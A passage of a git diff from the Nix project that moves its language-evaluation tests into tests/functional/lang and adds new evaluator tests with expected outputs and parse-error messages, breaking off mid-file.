a/tests/lang/eval-okay-pathexists.exp b/tests/functional/lang/eval-okay-pathexists.exp similarity index 100% rename from tests/lang/eval-okay-pathexists.exp rename to tests/functional/lang/eval-okay-pathexists.exp diff --git a/tests/functional/lang/eval-okay-pathexists.nix b/tests/functional/lang/eval-okay-pathexists.nix new file mode 100644 index 000000000..022b22fea --- /dev/null +++ b/tests/functional/lang/eval-okay-pathexists.nix @@ -0,0 +1,34 @@ +builtins.pathExists (./lib.nix) +&& builtins.pathExists (builtins.toPath ./lib.nix) +&& builtins.pathExists (builtins.toString ./lib.nix) +&& !builtins.pathExists (builtins.toString ./lib.nix + "/") +&& !builtins.pathExists (builtins.toString ./lib.nix + "/.") +# FIXME +# && !builtins.pathExists (builtins.toString ./lib.nix + "/..") +# && !builtins.pathExists (builtins.toString ./lib.nix + "/a/..") +# && !builtins.pathExists (builtins.toString ./lib.nix + "/../lib.nix") +&& !builtins.pathExists (builtins.toString ./lib.nix + "/./") +&& !builtins.pathExists (builtins.toString ./lib.nix + "/./.") +&& builtins.pathExists (builtins.toString ./.. + "/lang/lib.nix") +&& !builtins.pathExists (builtins.toString ./.. + "lang/lib.nix") +&& builtins.pathExists (builtins.toString ./. + "/../lang/lib.nix") +&& builtins.pathExists (builtins.toString ./. + "/../lang/./lib.nix") +&& builtins.pathExists (builtins.toString ./.) +&& builtins.pathExists (builtins.toString ./. + "/") +&& builtins.pathExists (builtins.toString ./. + "/../lang") +&& builtins.pathExists (builtins.toString ./. + "/../lang/") +&& builtins.pathExists (builtins.toString ./. + "/../lang/.") +&& builtins.pathExists (builtins.toString ./. + "/../lang/./") +&& builtins.pathExists (builtins.toString ./. + "/../lang//./") +&& builtins.pathExists (builtins.toString ./. + "/../lang/..") +&& builtins.pathExists (builtins.toString ./. + "/../lang/../") +&& builtins.pathExists (builtins.toString ./. + "/../lang/..//") +&& builtins.pathExists (builtins.toPath (builtins.toString ./lib.nix)) +&& !builtins.pathExists (builtins.toPath (builtins.toString ./bla.nix)) +&& builtins.pathExists (builtins.toPath { __toString = x: builtins.toString ./lib.nix; }) +&& builtins.pathExists (builtins.toPath { outPath = builtins.toString ./lib.nix; }) +&& builtins.pathExists ./lib.nix +&& !builtins.pathExists ./bla.nix +&& builtins.pathExists ./symlink-resolution/foo/overlays/overlay.nix +&& builtins.pathExists ./symlink-resolution/broken +&& builtins.pathExists (builtins.toString ./symlink-resolution/foo/overlays + "/.") diff --git a/tests/lang/eval-okay-patterns.exp b/tests/functional/lang/eval-okay-patterns.exp similarity index 100% rename from tests/lang/eval-okay-patterns.exp rename to tests/functional/lang/eval-okay-patterns.exp diff --git a/tests/lang/eval-okay-patterns.nix b/tests/functional/lang/eval-okay-patterns.nix similarity index 100% rename from tests/lang/eval-okay-patterns.nix rename to tests/functional/lang/eval-okay-patterns.nix diff --git a/tests/functional/lang/eval-okay-print.err.exp b/tests/functional/lang/eval-okay-print.err.exp new file mode 100644 index 000000000..80aa17c6e --- /dev/null +++ b/tests/functional/lang/eval-okay-print.err.exp @@ -0,0 +1 @@ +trace: [ «thunk» ] diff --git a/tests/functional/lang/eval-okay-print.exp b/tests/functional/lang/eval-okay-print.exp new file mode 100644 index 000000000..0d960fb70 --- /dev/null +++ b/tests/functional/lang/eval-okay-print.exp @@ -0,0 +1 @@ +[ null [ [ «repeated» ] ] ] diff --git a/tests/functional/lang/eval-okay-print.nix b/tests/functional/lang/eval-okay-print.nix new file mode 100644 index 000000000..d36ba4da3 --- /dev/null +++ b/tests/functional/lang/eval-okay-print.nix @@ -0,0 +1 @@ +with builtins; trace [(1+1)] [ null toString (deepSeq "x") (a: a) (let x=[x]; in x) ] diff --git a/tests/functional/lang/eval-okay-readDir.exp b/tests/functional/lang/eval-okay-readDir.exp new file mode 100644 index 000000000..6413f6d4f --- /dev/null +++ b/tests/functional/lang/eval-okay-readDir.exp @@ -0,0 +1 @@ +{ bar = "regular"; foo = "directory"; ldir = "symlink"; linked = "symlink"; } diff --git a/tests/lang/eval-okay-readDir.nix b/tests/functional/lang/eval-okay-readDir.nix similarity index 100% rename from tests/lang/eval-okay-readDir.nix rename to tests/functional/lang/eval-okay-readDir.nix diff --git a/tests/functional/lang/eval-okay-readFileType.exp b/tests/functional/lang/eval-okay-readFileType.exp new file mode 100644 index 000000000..6413f6d4f --- /dev/null +++ b/tests/functional/lang/eval-okay-readFileType.exp @@ -0,0 +1 @@ +{ bar = "regular"; foo = "directory"; ldir = "symlink"; linked = "symlink"; } diff --git a/tests/functional/lang/eval-okay-readFileType.nix b/tests/functional/lang/eval-okay-readFileType.nix new file mode 100644 index 000000000..174fb6c3a --- /dev/null +++ b/tests/functional/lang/eval-okay-readFileType.nix @@ -0,0 +1,6 @@ +{ + bar = builtins.readFileType ./readDir/bar; + foo = builtins.readFileType ./readDir/foo; + linked = builtins.readFileType ./readDir/linked; + ldir = builtins.readFileType ./readDir/ldir; +} diff --git a/tests/lang/eval-okay-readfile.exp b/tests/functional/lang/eval-okay-readfile.exp similarity index 100% rename from tests/lang/eval-okay-readfile.exp rename to tests/functional/lang/eval-okay-readfile.exp diff --git a/tests/lang/eval-okay-readfile.nix b/tests/functional/lang/eval-okay-readfile.nix similarity index 100% rename from tests/lang/eval-okay-readfile.nix rename to tests/functional/lang/eval-okay-readfile.nix diff --git a/tests/lang/eval-okay-redefine-builtin.exp b/tests/functional/lang/eval-okay-redefine-builtin.exp similarity index 100% rename from tests/lang/eval-okay-redefine-builtin.exp rename to tests/functional/lang/eval-okay-redefine-builtin.exp diff --git a/tests/lang/eval-okay-redefine-builtin.nix b/tests/functional/lang/eval-okay-redefine-builtin.nix similarity index 100% rename from tests/lang/eval-okay-redefine-builtin.nix rename to tests/functional/lang/eval-okay-redefine-builtin.nix diff --git a/tests/lang/eval-okay-regex-match.exp b/tests/functional/lang/eval-okay-regex-match.exp similarity index 100% rename from tests/lang/eval-okay-regex-match.exp rename to tests/functional/lang/eval-okay-regex-match.exp diff --git a/tests/lang/eval-okay-regex-match.nix b/tests/functional/lang/eval-okay-regex-match.nix similarity index 100% rename from tests/lang/eval-okay-regex-match.nix rename to tests/functional/lang/eval-okay-regex-match.nix diff --git a/tests/lang/eval-okay-regex-split.exp b/tests/functional/lang/eval-okay-regex-split.exp similarity index 100% rename from tests/lang/eval-okay-regex-split.exp rename to tests/functional/lang/eval-okay-regex-split.exp diff --git a/tests/lang/eval-okay-regex-split.nix b/tests/functional/lang/eval-okay-regex-split.nix similarity index 100% rename from tests/lang/eval-okay-regex-split.nix rename to tests/functional/lang/eval-okay-regex-split.nix diff --git a/tests/lang/eval-okay-regression-20220122.exp b/tests/functional/lang/eval-okay-regression-20220122.exp similarity index 100% rename from tests/lang/eval-okay-regression-20220122.exp rename to tests/functional/lang/eval-okay-regression-20220122.exp diff --git a/tests/lang/eval-okay-regression-20220122.nix b/tests/functional/lang/eval-okay-regression-20220122.nix similarity index 100% rename from tests/lang/eval-okay-regression-20220122.nix rename to tests/functional/lang/eval-okay-regression-20220122.nix diff --git a/tests/lang/eval-okay-regression-20220125.exp b/tests/functional/lang/eval-okay-regression-20220125.exp similarity index 100% rename from tests/lang/eval-okay-regression-20220125.exp rename to tests/functional/lang/eval-okay-regression-20220125.exp diff --git a/tests/lang/eval-okay-regression-20220125.nix b/tests/functional/lang/eval-okay-regression-20220125.nix similarity index 100% rename from tests/lang/eval-okay-regression-20220125.nix rename to tests/functional/lang/eval-okay-regression-20220125.nix diff --git a/tests/lang/eval-okay-remove.exp b/tests/functional/lang/eval-okay-remove.exp similarity index 100% rename from tests/lang/eval-okay-remove.exp rename to tests/functional/lang/eval-okay-remove.exp diff --git a/tests/lang/eval-okay-remove.nix b/tests/functional/lang/eval-okay-remove.nix similarity index 100% rename from tests/lang/eval-okay-remove.nix rename to tests/functional/lang/eval-okay-remove.nix diff --git a/tests/functional/lang/eval-okay-repeated-empty-attrs.exp b/tests/functional/lang/eval-okay-repeated-empty-attrs.exp new file mode 100644 index 000000000..d21e6db6b --- /dev/null +++ b/tests/functional/lang/eval-okay-repeated-empty-attrs.exp @@ -0,0 +1 @@ +[ { } { } ] diff --git a/tests/functional/lang/eval-okay-repeated-empty-attrs.nix b/tests/functional/lang/eval-okay-repeated-empty-attrs.nix new file mode 100644 index 000000000..030a3b85c --- /dev/null +++ b/tests/functional/lang/eval-okay-repeated-empty-attrs.nix @@ -0,0 +1,2 @@ +# Tests that empty attribute sets are not printed as `«repeated»`. +[ {} {} ] diff --git a/tests/functional/lang/eval-okay-repeated-empty-list.exp b/tests/functional/lang/eval-okay-repeated-empty-list.exp new file mode 100644 index 000000000..701fc7e20 --- /dev/null +++ b/tests/functional/lang/eval-okay-repeated-empty-list.exp @@ -0,0 +1 @@ +[ [ ] [ ] ] diff --git a/tests/functional/lang/eval-okay-repeated-empty-list.nix b/tests/functional/lang/eval-okay-repeated-empty-list.nix new file mode 100644 index 000000000..376c51be8 --- /dev/null +++ b/tests/functional/lang/eval-okay-repeated-empty-list.nix @@ -0,0 +1 @@ +[ [] [] ] diff --git a/tests/functional/lang/eval-okay-replacestrings.exp b/tests/functional/lang/eval-okay-replacestrings.exp new file mode 100644 index 000000000..eac67c5fe --- /dev/null +++ b/tests/functional/lang/eval-okay-replacestrings.exp @@ -0,0 +1 @@ +[ "faabar" "fbar" "fubar" "faboor" "fubar" "XaXbXcX" "X" "a_b" "fubar" ] diff --git a/tests/lang/eval-okay-replacestrings.nix b/tests/functional/lang/eval-okay-replacestrings.nix similarity index 83% rename from tests/lang/eval-okay-replacestrings.nix rename to tests/functional/lang/eval-okay-replacestrings.nix index bd8031fc0..a803e6519 100644 --- a/tests/lang/eval-okay-replacestrings.nix +++ b/tests/functional/lang/eval-okay-replacestrings.nix @@ -8,4 +8,5 @@ with builtins; (replaceStrings [""] ["X"] "abc") (replaceStrings [""] ["X"] "") (replaceStrings ["-"] ["_"] "a-b") + (replaceStrings ["oo" "XX"] ["u" (throw "unreachable")] "foobar") ] diff --git a/tests/lang/eval-okay-scope-1.exp b/tests/functional/lang/eval-okay-scope-1.exp similarity index 100% rename from tests/lang/eval-okay-scope-1.exp rename to tests/functional/lang/eval-okay-scope-1.exp diff --git a/tests/lang/eval-okay-scope-1.nix b/tests/functional/lang/eval-okay-scope-1.nix similarity index 100% rename from tests/lang/eval-okay-scope-1.nix rename to tests/functional/lang/eval-okay-scope-1.nix diff --git a/tests/lang/eval-okay-scope-2.exp b/tests/functional/lang/eval-okay-scope-2.exp similarity index 100% rename from tests/lang/eval-okay-scope-2.exp rename to tests/functional/lang/eval-okay-scope-2.exp diff --git a/tests/lang/eval-okay-scope-2.nix b/tests/functional/lang/eval-okay-scope-2.nix similarity index 100% rename from tests/lang/eval-okay-scope-2.nix rename to tests/functional/lang/eval-okay-scope-2.nix diff --git a/tests/lang/eval-okay-scope-3.exp b/tests/functional/lang/eval-okay-scope-3.exp similarity index 100% rename from tests/lang/eval-okay-scope-3.exp rename to tests/functional/lang/eval-okay-scope-3.exp diff --git a/tests/lang/eval-okay-scope-3.nix b/tests/functional/lang/eval-okay-scope-3.nix similarity index 100% rename from tests/lang/eval-okay-scope-3.nix rename to tests/functional/lang/eval-okay-scope-3.nix diff --git a/tests/lang/eval-okay-scope-4.exp b/tests/functional/lang/eval-okay-scope-4.exp similarity index 100% rename from tests/lang/eval-okay-scope-4.exp rename to tests/functional/lang/eval-okay-scope-4.exp diff --git a/tests/lang/eval-okay-scope-4.nix b/tests/functional/lang/eval-okay-scope-4.nix similarity index 100% rename from tests/lang/eval-okay-scope-4.nix rename to tests/functional/lang/eval-okay-scope-4.nix diff --git a/tests/lang/eval-okay-scope-6.exp b/tests/functional/lang/eval-okay-scope-6.exp similarity index 100% rename from tests/lang/eval-okay-scope-6.exp rename to tests/functional/lang/eval-okay-scope-6.exp diff --git a/tests/lang/eval-okay-scope-6.nix b/tests/functional/lang/eval-okay-scope-6.nix similarity index 100% rename from tests/lang/eval-okay-scope-6.nix rename to tests/functional/lang/eval-okay-scope-6.nix diff --git a/tests/lang/eval-okay-scope-7.exp b/tests/functional/lang/eval-okay-scope-7.exp similarity index 100% rename from tests/lang/eval-okay-scope-7.exp rename to tests/functional/lang/eval-okay-scope-7.exp diff --git a/tests/lang/eval-okay-scope-7.nix b/tests/functional/lang/eval-okay-scope-7.nix similarity index 100% rename from tests/lang/eval-okay-scope-7.nix rename to tests/functional/lang/eval-okay-scope-7.nix diff --git a/tests/lang/eval-okay-search-path.exp b/tests/functional/lang/eval-okay-search-path.exp similarity index 100% rename from tests/lang/eval-okay-search-path.exp rename to tests/functional/lang/eval-okay-search-path.exp diff --git a/tests/functional/lang/eval-okay-search-path.flags b/tests/functional/lang/eval-okay-search-path.flags new file mode 100644 index 000000000..dfad1c611 --- /dev/null +++ b/tests/functional/lang/eval-okay-search-path.flags @@ -0,0 +1 @@ +-I lang/dir1 -I lang/dir2 -I dir5=lang/dir3 diff --git a/tests/lang/eval-okay-search-path.nix b/tests/functional/lang/eval-okay-search-path.nix similarity index 100% rename from tests/lang/eval-okay-search-path.nix rename to tests/functional/lang/eval-okay-search-path.nix diff --git a/tests/lang/eval-okay-seq.exp b/tests/functional/lang/eval-okay-seq.exp similarity index 100% rename from tests/lang/eval-okay-seq.exp rename to tests/functional/lang/eval-okay-seq.exp diff --git a/tests/lang/eval-okay-seq.nix b/tests/functional/lang/eval-okay-seq.nix similarity index 100% rename from tests/lang/eval-okay-seq.nix rename to tests/functional/lang/eval-okay-seq.nix diff --git a/tests/lang/eval-okay-sort.exp b/tests/functional/lang/eval-okay-sort.exp similarity index 100% rename from tests/lang/eval-okay-sort.exp rename to tests/functional/lang/eval-okay-sort.exp diff --git a/tests/lang/eval-okay-sort.nix b/tests/functional/lang/eval-okay-sort.nix similarity index 100% rename from tests/lang/eval-okay-sort.nix rename to tests/functional/lang/eval-okay-sort.nix diff --git a/tests/lang/eval-okay-splitversion.exp b/tests/functional/lang/eval-okay-splitversion.exp similarity index 100% rename from tests/lang/eval-okay-splitversion.exp rename to tests/functional/lang/eval-okay-splitversion.exp diff --git a/tests/lang/eval-okay-splitversion.nix b/tests/functional/lang/eval-okay-splitversion.nix similarity index 100% rename from tests/lang/eval-okay-splitversion.nix rename to tests/functional/lang/eval-okay-splitversion.nix diff --git a/tests/lang/eval-okay-string.exp b/tests/functional/lang/eval-okay-string.exp similarity index 100% rename from tests/lang/eval-okay-string.exp rename to tests/functional/lang/eval-okay-string.exp diff --git a/tests/lang/eval-okay-string.nix b/tests/functional/lang/eval-okay-string.nix similarity index 100% rename from tests/lang/eval-okay-string.nix rename to tests/functional/lang/eval-okay-string.nix diff --git a/tests/lang/eval-okay-strings-as-attrs-names.exp b/tests/functional/lang/eval-okay-strings-as-attrs-names.exp similarity index 100% rename from tests/lang/eval-okay-strings-as-attrs-names.exp rename to tests/functional/lang/eval-okay-strings-as-attrs-names.exp diff --git a/tests/lang/eval-okay-strings-as-attrs-names.nix b/tests/functional/lang/eval-okay-strings-as-attrs-names.nix similarity index 100% rename from tests/lang/eval-okay-strings-as-attrs-names.nix rename to tests/functional/lang/eval-okay-strings-as-attrs-names.nix diff --git a/tests/functional/lang/eval-okay-substring-context.exp b/tests/functional/lang/eval-okay-substring-context.exp new file mode 100644 index 000000000..2fe7f71fa --- /dev/null +++ b/tests/functional/lang/eval-okay-substring-context.exp @@ -0,0 +1 @@ +"okay" diff --git a/tests/functional/lang/eval-okay-substring-context.nix b/tests/functional/lang/eval-okay-substring-context.nix new file mode 100644 index 000000000..d0ef70d4e --- /dev/null +++ b/tests/functional/lang/eval-okay-substring-context.nix @@ -0,0 +1,11 @@ +with builtins; + +let + + s = "${builtins.derivation { name = "test"; builder = "/bin/sh"; system = "x86_64-linux"; }}"; + +in + +if getContext s == getContext "${substring 0 0 s + unsafeDiscardStringContext s}" +then "okay" +else throw "empty substring should preserve context" diff --git a/tests/functional/lang/eval-okay-substring.exp b/tests/functional/lang/eval-okay-substring.exp new file mode 100644 index 000000000..f48b4623a --- /dev/null +++ b/tests/functional/lang/eval-okay-substring.exp @@ -0,0 +1 @@ +"ooxfoobarybarzobaabbc_bad" diff --git a/tests/lang/eval-okay-substring.nix b/tests/functional/lang/eval-okay-substring.nix similarity index 87% rename from tests/lang/eval-okay-substring.nix rename to tests/functional/lang/eval-okay-substring.nix index 424af00d9..54c97e162 100644 --- a/tests/lang/eval-okay-substring.nix +++ b/tests/functional/lang/eval-okay-substring.nix @@ -19,3 +19,5 @@ substring 1 2 s + substring 3 1 s + "c" + substring 5 10 "perl" ++ "_" ++ substring 3 (-1) "tebbad" diff --git a/tests/functional/lang/eval-okay-symlink-resolution.exp b/tests/functional/lang/eval-okay-symlink-resolution.exp new file mode 100644 index 000000000..8b8441b91 --- /dev/null +++ b/tests/functional/lang/eval-okay-symlink-resolution.exp @@ -0,0 +1 @@ +"test" diff --git a/tests/functional/lang/eval-okay-symlink-resolution.nix b/tests/functional/lang/eval-okay-symlink-resolution.nix new file mode 100644 index 000000000..ffb1818bd --- /dev/null +++ b/tests/functional/lang/eval-okay-symlink-resolution.nix @@ -0,0 +1 @@ +import symlink-resolution/foo/overlays/overlay.nix diff --git a/tests/lang/eval-okay-tail-call-1.exp-disabled b/tests/functional/lang/eval-okay-tail-call-1.exp-disabled similarity index 100% rename from tests/lang/eval-okay-tail-call-1.exp-disabled rename to tests/functional/lang/eval-okay-tail-call-1.exp-disabled diff --git a/tests/lang/eval-okay-tail-call-1.nix b/tests/functional/lang/eval-okay-tail-call-1.nix similarity index 100% rename from tests/lang/eval-okay-tail-call-1.nix rename to tests/functional/lang/eval-okay-tail-call-1.nix diff --git a/tests/lang/eval-okay-tojson.exp b/tests/functional/lang/eval-okay-tojson.exp similarity index 100% rename from tests/lang/eval-okay-tojson.exp rename to tests/functional/lang/eval-okay-tojson.exp diff --git a/tests/lang/eval-okay-tojson.nix b/tests/functional/lang/eval-okay-tojson.nix similarity index 100% rename from tests/lang/eval-okay-tojson.nix rename to tests/functional/lang/eval-okay-tojson.nix diff --git a/tests/lang/eval-okay-toxml.exp b/tests/functional/lang/eval-okay-toxml.exp similarity index 100% rename from tests/lang/eval-okay-toxml.exp rename to tests/functional/lang/eval-okay-toxml.exp diff --git a/tests/lang/eval-okay-toxml.nix b/tests/functional/lang/eval-okay-toxml.nix similarity index 100% rename from tests/lang/eval-okay-toxml.nix rename to tests/functional/lang/eval-okay-toxml.nix diff --git a/tests/lang/eval-okay-toxml2.exp b/tests/functional/lang/eval-okay-toxml2.exp similarity index 100% rename from tests/lang/eval-okay-toxml2.exp rename to tests/functional/lang/eval-okay-toxml2.exp diff --git a/tests/lang/eval-okay-toxml2.nix b/tests/functional/lang/eval-okay-toxml2.nix similarity index 100% rename from tests/lang/eval-okay-toxml2.nix rename to tests/functional/lang/eval-okay-toxml2.nix diff --git a/tests/lang/eval-okay-tryeval.exp b/tests/functional/lang/eval-okay-tryeval.exp similarity index 100% rename from tests/lang/eval-okay-tryeval.exp rename to tests/functional/lang/eval-okay-tryeval.exp diff --git a/tests/lang/eval-okay-tryeval.nix b/tests/functional/lang/eval-okay-tryeval.nix similarity index 100% rename from tests/lang/eval-okay-tryeval.nix rename to tests/functional/lang/eval-okay-tryeval.nix diff --git a/tests/lang/eval-okay-types.exp b/tests/functional/lang/eval-okay-types.exp similarity index 100% rename from tests/lang/eval-okay-types.exp rename to tests/functional/lang/eval-okay-types.exp diff --git a/tests/lang/eval-okay-types.nix b/tests/functional/lang/eval-okay-types.nix similarity index 100% rename from tests/lang/eval-okay-types.nix rename to tests/functional/lang/eval-okay-types.nix diff --git a/tests/lang/eval-okay-versions.exp b/tests/functional/lang/eval-okay-versions.exp similarity index 100% rename from tests/lang/eval-okay-versions.exp rename to tests/functional/lang/eval-okay-versions.exp diff --git a/tests/lang/eval-okay-versions.nix b/tests/functional/lang/eval-okay-versions.nix similarity index 100% rename from tests/lang/eval-okay-versions.nix rename to tests/functional/lang/eval-okay-versions.nix diff --git a/tests/lang/eval-okay-with.exp b/tests/functional/lang/eval-okay-with.exp similarity index 100% rename from tests/lang/eval-okay-with.exp rename to tests/functional/lang/eval-okay-with.exp diff --git a/tests/lang/eval-okay-with.nix b/tests/functional/lang/eval-okay-with.nix similarity index 100% rename from tests/lang/eval-okay-with.nix rename to tests/functional/lang/eval-okay-with.nix diff --git a/tests/lang/eval-okay-xml.exp.xml b/tests/functional/lang/eval-okay-xml.exp.xml similarity index 100% rename from tests/lang/eval-okay-xml.exp.xml rename to tests/functional/lang/eval-okay-xml.exp.xml diff --git a/tests/lang/eval-okay-xml.nix b/tests/functional/lang/eval-okay-xml.nix similarity index 100% rename from tests/lang/eval-okay-xml.nix rename to tests/functional/lang/eval-okay-xml.nix diff --git a/tests/lang/eval-okay-zipAttrsWith.exp b/tests/functional/lang/eval-okay-zipAttrsWith.exp similarity index 100% rename from tests/lang/eval-okay-zipAttrsWith.exp rename to tests/functional/lang/eval-okay-zipAttrsWith.exp diff --git a/tests/lang/eval-okay-zipAttrsWith.nix b/tests/functional/lang/eval-okay-zipAttrsWith.nix similarity index 100% rename from tests/lang/eval-okay-zipAttrsWith.nix rename to tests/functional/lang/eval-okay-zipAttrsWith.nix diff --git a/tests/lang/imported.nix b/tests/functional/lang/imported.nix similarity index 100% rename from tests/lang/imported.nix rename to tests/functional/lang/imported.nix diff --git a/tests/lang/imported2.nix b/tests/functional/lang/imported2.nix similarity index 100% rename from tests/lang/imported2.nix rename to tests/functional/lang/imported2.nix diff --git a/tests/lang/lib.nix b/tests/functional/lang/lib.nix similarity index 100% rename from tests/lang/lib.nix rename to tests/functional/lang/lib.nix diff --git a/tests/functional/lang/non-eval-fail-bad-drvPath.nix b/tests/functional/lang/non-eval-fail-bad-drvPath.nix new file mode 100644 index 000000000..23639bc54 --- /dev/null +++ b/tests/functional/lang/non-eval-fail-bad-drvPath.nix @@ -0,0 +1,14 @@ +let + package = { + type = "derivation"; + name = "cachix-1.7.3"; + system = builtins.currentSystem; + outputs = [ "out" ]; + # Illegal, because does not end in `.drv` + drvPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin"; + outputName = "out"; + outPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin"; + out = package; + }; +in +package diff --git a/tests/functional/lang/parse-fail-dup-attrs-1.err.exp b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp new file mode 100644 index 000000000..ffb5198c1 --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp @@ -0,0 +1,6 @@ +error: attribute 'x' already defined at «stdin»:1:3 + at «stdin»:3:3: + 2| y = 456; + 3| x = 789; + | ^ + 4| } diff --git a/tests/lang/parse-fail-dup-attrs-1.nix b/tests/functional/lang/parse-fail-dup-attrs-1.nix similarity index 100% rename from tests/lang/parse-fail-dup-attrs-1.nix rename to tests/functional/lang/parse-fail-dup-attrs-1.nix diff --git a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp new file mode 100644 index 000000000..3105e60de --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp @@ -0,0 +1,6 @@ +error: attribute 'x' already defined at «stdin»:9:5 + at «stdin»:10:18: + 9| x = 789; + 10| inherit (as) x; + | ^ + 11| }; diff --git a/tests/lang/parse-fail-dup-attrs-2.nix b/tests/functional/lang/parse-fail-dup-attrs-2.nix similarity index 100% rename from tests/lang/parse-fail-dup-attrs-2.nix rename to tests/functional/lang/parse-fail-dup-attrs-2.nix diff --git a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp new file mode 100644 index 000000000..3105e60de --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp @@ -0,0 +1,6 @@ +error: attribute 'x' already defined at «stdin»:9:5 + at «stdin»:10:18: + 9| x = 789; + 10| inherit (as) x; + | ^ + 11| }; diff --git a/tests/lang/parse-fail-dup-attrs-3.nix b/tests/functional/lang/parse-fail-dup-attrs-3.nix similarity index 100% rename from tests/lang/parse-fail-dup-attrs-3.nix rename to tests/functional/lang/parse-fail-dup-attrs-3.nix diff --git a/tests/functional/lang/parse-fail-dup-attrs-4.err.exp b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp new file mode 100644 index 000000000..c98a8f8d0 --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-attrs-4.err.exp @@ -0,0 +1,6 @@ +error: attribute 'services.ssh.port' already defined at «stdin»:2:3 + at «stdin»:3:3: + 2| services.ssh.port = 22; + 3| services.ssh.port = 23; + | ^ + 4| } diff --git a/tests/lang/parse-fail-dup-attrs-4.nix b/tests/functional/lang/parse-fail-dup-attrs-4.nix similarity index 100% rename from tests/lang/parse-fail-dup-attrs-4.nix rename to tests/functional/lang/parse-fail-dup-attrs-4.nix diff --git a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp new file mode 100644 index 000000000..4e0a48eff --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp @@ -0,0 +1,6 @@ +error: attribute 'x' already defined at «stdin»:6:13 + at «stdin»:7:13: + 6| inherit x; + 7| inherit x; + | ^ + 8| }; diff --git a/tests/lang/parse-fail-dup-attrs-7.nix b/tests/functional/lang/parse-fail-dup-attrs-7.nix similarity index 100% rename from tests/lang/parse-fail-dup-attrs-7.nix rename to tests/functional/lang/parse-fail-dup-attrs-7.nix diff --git a/tests/functional/lang/parse-fail-dup-formals.err.exp b/tests/functional/lang/parse-fail-dup-formals.err.exp new file mode 100644 index 000000000..d7c7e0237 --- /dev/null +++ b/tests/functional/lang/parse-fail-dup-formals.err.exp @@ -0,0 +1,4 @@ +error: duplicate formal function argument 'x' + at «stdin»:1:8: + 1| {x, y, x}: x + | ^ diff --git a/tests/lang/parse-fail-dup-formals.nix b/tests/functional/lang/parse-fail-dup-formals.nix similarity index 100% rename from tests/lang/parse-fail-dup-formals.nix rename to tests/functional/lang/parse-fail-dup-formals.nix diff --git a/tests/functional/lang/parse-fail-eof-in-string.err.exp b/tests/functional/lang/parse-fail-eof-in-string.err.exp new file mode 100644 index 000000000..17f34b62d --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-in-string.err.exp @@ -0,0 +1,5 @@ +error: syntax error, unexpected end of file, expecting '"' + at «stdin»:3:6: + 2| # Note that this file must not end with a newline. + 3| a 1"$ + | ^ diff --git a/tests/lang/parse-fail-eof-in-string.nix b/tests/functional/lang/parse-fail-eof-in-string.nix similarity index 100% rename from tests/lang/parse-fail-eof-in-string.nix rename to tests/functional/lang/parse-fail-eof-in-string.nix diff --git a/tests/functional/lang/parse-fail-eof-pos.err.exp b/tests/functional/lang/parse-fail-eof-pos.err.exp new file mode 100644 index 000000000..ef9ca381c --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.err.exp @@ -0,0 +1,5 @@ +error: syntax error, unexpected end of file + at «stdin»:3:1: + 2| # no content + 3| + | ^ diff --git a/tests/functional/lang/parse-fail-eof-pos.nix b/tests/functional/lang/parse-fail-eof-pos.nix new file mode 100644 index 000000000..bd66a2c98 --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.nix @@ -0,0 +1,2 @@ +( +# no content diff --git a/tests/functional/lang/parse-fail-mixed-nested-attrs1.err.exp b/tests/functional/lang/parse-fail-mixed-nested-attrs1.err.exp new file mode 100644 index 000000000..a4472156b --- /dev/null +++ b/tests/functional/lang/parse-fail-mixed-nested-attrs1.err.exp @@ -0,0 +1,6 @@ +error: attribute 'z' already defined at «stdin»:3:16 + at «stdin»:2:3: + 1| { + 2| x.z = 3; + | ^ + 3| x = { y = 3; z = 3; }; diff --git a/tests/lang/parse-fail-mixed-nested-attrs1.nix b/tests/functional/lang/parse-fail-mixed-nested-attrs1.nix similarity index 100% rename from tests/lang/parse-fail-mixed-nested-attrs1.nix rename to tests/functional/lang/parse-fail-mixed-nested-attrs1.nix diff --git a/tests/functional/lang/parse-fail-mixed-nested-attrs2.err.exp b/tests/functional/lang/parse-fail-mixed-nested-attrs2.err.exp new file mode 100644 index 000000000..ead1f0dbd --- /dev/null +++ b/tests/functional/lang/parse-fail-mixed-nested-attrs2.err.exp @@ -0,0 +1,6 @@ +error: attribute 'y' already defined at «stdin»:3:9 + at «stdin»:2:3: + 1| { + 2| x.y.y = 3; + | ^ + 3| x = { y.y= 3; z = 3; }; diff --git a/tests/lang/parse-fail-mixed-nested-attrs2.nix b/tests/functional/lang/parse-fail-mixed-nested-attrs2.nix similarity index 100% rename from tests/lang/parse-fail-mixed-nested-attrs2.nix rename to tests/functional/lang/parse-fail-mixed-nested-attrs2.nix diff --git a/tests/functional/lang/parse-fail-patterns-1.err.exp b/tests/functional/lang/parse-fail-patterns-1.err.exp new file mode 100644 index 000000000..6ba39d884 --- /dev/null +++ b/tests/functional/lang/parse-fail-patterns-1.err.exp @@ -0,0 +1,5 @@ +error: duplicate formal function argument 'args' + at «stdin»:1:1: + 1| args@{args, x, y, z}: x + | ^ + 2| diff --git a/tests/lang/parse-fail-patterns-1.nix b/tests/functional/lang/parse-fail-patterns-1.nix similarity index 100% rename from tests/lang/parse-fail-patterns-1.nix rename to tests/functional/lang/parse-fail-patterns-1.nix diff --git a/tests/functional/lang/parse-fail-regression-20060610.err.exp b/tests/functional/lang/parse-fail-regression-20060610.err.exp new file mode 100644 index 000000000..6ae7c01bf --- /dev/null +++ b/tests/functional/lang/parse-fail-regression-20060610.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'gcc' + at «stdin»:9:13: + 8| body = ({ 